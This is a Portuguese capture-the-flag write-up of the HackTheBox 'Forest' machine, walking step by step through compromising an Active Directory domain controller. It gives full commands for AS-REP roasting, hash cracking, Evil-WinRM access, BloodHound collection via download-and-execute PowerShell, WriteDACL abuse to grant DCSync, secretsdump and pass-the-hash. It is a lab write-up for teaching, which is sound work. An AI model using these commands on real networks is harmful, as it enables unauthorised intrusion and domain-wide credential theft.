> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md).

# Relato do HackTheBox Forest

{% embed url="<https://app.hackthebox.com/machines/212>" %}

{% hint style="warning" %}
**Habilidades:**

* AXFR - Ataque de transferência de zona de domínio (falhou)
* Enumeração RPC - Obtendo usuários válidos do domínio
* Realizando um ataque AS-RepRoast com os usuários obtidos
* Quebrando hashes
* Abusando do WinRM - EvilWinRM
* Enumeração LDAP - ldapdomaindump
* Enumeração com BloodHound
* Coletando informações do sistema com SharpHound.ps1 - PuckieStyle
* Representando e visualizando dados no BloodHound
* Encontrando um vetor de ataque no BloodHound
* Abusando do grupo Account Operators - Criando um novo usuário
* Abusando do grupo Account Operators - Atribuindo um grupo ao usuário recém-criado
* Abusando do WriteDacl no domínio - Concedendo privilégios DCSync
* Exploração DCSync - secretsdump.py
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/11b3cb89ed0c70323ac7d28550a081fbed53419b" alt=""><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/23ccaba31f74afbdcccf1a4397250aaf818e81ba" alt=""><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts
```

<figure><img src="/files/8d0ff039e1ef26f33d524d9f4e1c919e81e8bc67" alt=""><figcaption></figcaption></figure>

**Análise das portas abertas com extractport:**/ Usando a função extractport para exibir de forma concisa as portas abertas e copiá-las para a área de transferência.

<figure><img src="/files/37de939267bced678b7e8f22f51b24d6ce8faf8f" alt=""><figcaption></figcaption></figure>

**Varredura de versão das portas com Nmap:**/ Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted
```

<figure><img src="/files/06f17689feeb06ada4ac7ea7758f17939e25ab49" alt=""><figcaption></figcaption></figure>

## **Listagem e operação:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### **Reconhecimento SMB:** <a href="#reconnaissance-smb" id="reconnaissance-smb"></a>

Usando o CrackMapExec para identificar o sistema operacional

```bash
crackmapexec cmb 10.10.10.161
```

<div data-full-width="true"><figure><img src="/files/fb7301b5c4de34200a9cbabf8491b05116d57f5b" alt=""><figcaption></figcaption></figure></div>

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP/ é inserido no `/etc/hosts` arquivo.

<figure><img src="/files/7739958796a2a9e6e89abb6b6486675faeb79eaf" alt=""><figcaption></figcaption></figure>

/*/Exploração de compartilhamentos SMB na rede para identificar recursos compartilhados, mas sem resultados. //*

```bash
crackmapexec smb 10.10.10.161 --shares
```

```bash
smbclient -L 10.10.10.161 -N
```

<figure><img src="/files/37b00c3b46434f792d3b38d32a7ab51e3a315f2d" alt=""><figcaption></figcaption></figure>

### **Reconhecimento RPC:** <a href="#reconnaissance-rpc" id="reconnaissance-rpc"></a>

Uso do rpcclient para interagir com serviços CPP e coletar informações de recursos

```bash
rpccclient -U "" 10.10.10.161 -N
enumdomusers
```

<figure><img src="/files/47a7bc4b7da7443cd6c39b012fbe527d94c6aa69" alt=""><figcaption></figcaption></figure>

#### Liste os grupos:

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups'
```

<figure><img src="/files/7b10902dad115d73981ca4984d7028fb01162a70" alt=""><figcaption></figcaption></figure>

## Ataque ASREPRoast:

#### Com uma lista de usuários válidos, vamos conduzir um ataque AS-RepRoast, pois não precisamos das senhas dos usuários.

Vamos usar `grep` para filtrar nomes de usuário, então inserir esses dados em um arquivo

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users
```

<figure><img src="/files/421676e703cd6a639bfa94db5d8c6241e3dada52" alt=""><figcaption></figcaption></figure>

#### Usamos a ferramenta GetNPUsers.py para extrair informações de usuário sem uma senha:

```bash
GetNPUsers.py htb.local/ -no-pass -usersfile users
```

<figure><img src="/files/fa4c3ad484151761cea69624f255dd86b1482a1d" alt=""><figcaption></figcaption></figure>

#### Recuperamos o hash da senha do usuário "lucinda" e tentamos quebrá-lo com o John the Ripper usando uma lista de senhas predefinida:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/c137a4a702d71cbd7990b080ead6d41bee174e14" alt=""><figcaption></figcaption></figure>

#### Usamos o CrackMapExec para verificar se a senha quebrada está correta, tentando uma conexão WinRM:

```bash
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<div data-full-width="true"><figure><img src="/files/758e21980bf6b36ed778791674cf2d525da81179" alt=""><figcaption></figcaption></figure></div>

#### Por fim, usamos o Evil-WinRM para conectar à máquina remota com as credenciais quebradas:

```bash
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<figure><img src="/files/e19acf548b00e33f303bc9de11d75a7a77e42f67" alt=""><figcaption></figcaption></figure>

## Escalada de privilégio:

### Enumeração do domínio com BloodHound <a href="#domain-enumeration-with-bloodhound" id="domain-enumeration-with-bloodhound"></a>

<details>

<summary>Instalação do BloodHound:</summary>

```
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

/*/Faça login no BloodHound com as credenciais neo4j:neo4j. //*

![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74)

**Iniciando o BloodHound.**

```bash
bloodhound &> /dev/null & disown
```

</details>

<figure><img src="/files/2e8c0436840b4a79ebf7584d6240c82e764fc57a" alt=""><figcaption></figcaption></figure>

### Coletar informações com SharpHound.ps1 <a href="#collect-information-with-sharphound.ps1" id="collect-information-with-sharphound.ps1"></a>

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

### Transfira os dados coletados para um servidor Linux.

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1')
```

<figure><img src="/files/3cf24bce6ea47b4655c13b100e6b2657844b239c" alt=""><figcaption></figcaption></figure>

```bash
Invoke-BloodHound -CollectionMethod All
```

<figure><img src="/files/57e270c2c9ccc1aa2930f5d2a30fd0fe239243f2" alt=""><figcaption></figcaption></figure>

#### Transferimos o arquivo zip para a nossa equipe.

```bash
download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip
```

<figure><img src="/files/db22a7d58afbc9951d4ad5041914c7cef860f53d" alt=""><figcaption></figcaption></figure>

/*/Importe o arquivo zip no BloodHound. //*

<figure><img src="/files/f54e3f215e35a7915542f745e85ab366bda03f33" alt=""><figcaption></figcaption></figure>

### Análise e operações no BloodHound <a href="#analyse-et-exploitation" id="analyse-et-exploitation"></a>

#### Filtrando os dados para encontrar o caminho mais curto até o administrador do domínio.

<div data-full-width="true"><figure><img src="/files/9707c2af76407558a0cd1af0af3f7840917b7255" alt=""><figcaption></figcaption></figure></div>

#### Identificação de pertencimento a um grupo potencialmente problemático (Account Operator).

<div data-full-width="true"><figure><img src="/files/169ee459a41e848847b0862058b0c4cf5132ec08" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/5de93e3ad699b47d554ffd2fa335a6a8238f0374" alt=""><figcaption></figcaption></figure></div>

#### Usando a capacidade de criação de usuários para preparar um ataque DCSync.

```bash
net user jordanmacia password123$ /add /domain
```

<figure><img src="/files/1c4dc72648c083d810b6a386504b26e7d73c9d27" alt=""><figcaption></figcaption></figure>

### Tentativa de DCSync sem permissões suficientes

```bash
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="/files/fc2390c774f1487c6b0c0bb2853acfee51ffc77e" alt=""><figcaption></figcaption></figure>

#### Adicionado usuário a um grupo com permissões mais elevadas (`Exchange Windows Permissions`).

<figure><img src="/files/3c6a2b4968cd219ce2815e9ac083a782ec40dfed" alt=""><figcaption></figcaption></figure>

```bash
net group "Exchange Windows Permissions" jordanmacia /add
```

<figure><img src="/files/5149144e1d51806528e6110cebcc04ab7aa52c50" alt=""><figcaption></figcaption></figure>

### Ataque WriteDACL:

<figure><img src="/files/ac1b1fab4e85ded2c2737cd86066aa3b54b6c335" alt=""><figcaption></figcaption></figure>

```bash
$SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword)
```

Preparando o ataque WriteDACL usando PowerView\.ps1 para adicionar funcionalidade.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>" %}

<figure><img src="/files/1645a9433a3ea354a02e3b052745f4a7ad5521d6" alt=""><figcaption></figcaption></figure>

#### Transferência de arquivo

```
python3 -m http.server 80
```

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')"
```

## Vulnerabilidade de ataque DCSync <a href="#dcsync-attack-vulnerability" id="dcsync-attack-vulnerability"></a>

#### Execute o comando Add-DomainObjectAcl para obter os hashes.

```
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync
```

#### Usando o Impacket para extrair hashes com o usuário jordanmacia.

```
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="/files/db3ac4e449d95f7cbc637aa022d55e614ab836c6" alt=""><figcaption></figcaption></figure>

### Ataque Pass-the-Hash:

Usando o hash NT do administrador para o ataque Pass-the-Hash.

```bash
evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
```

#### Acesso ao sistema com privilégios de administrador.

<figure><img src="/files/efd087ea92c0f0e011a8f1fca610d9262cc20c53" alt=""><figcaption></figcaption></figure>

### Flag final :)

<figure><img src="/files/abdf3fbfa09d3c862771f39349b3bf972b10aecc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/beaad3095f671dafdccc4cc54cf608f19616c235" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
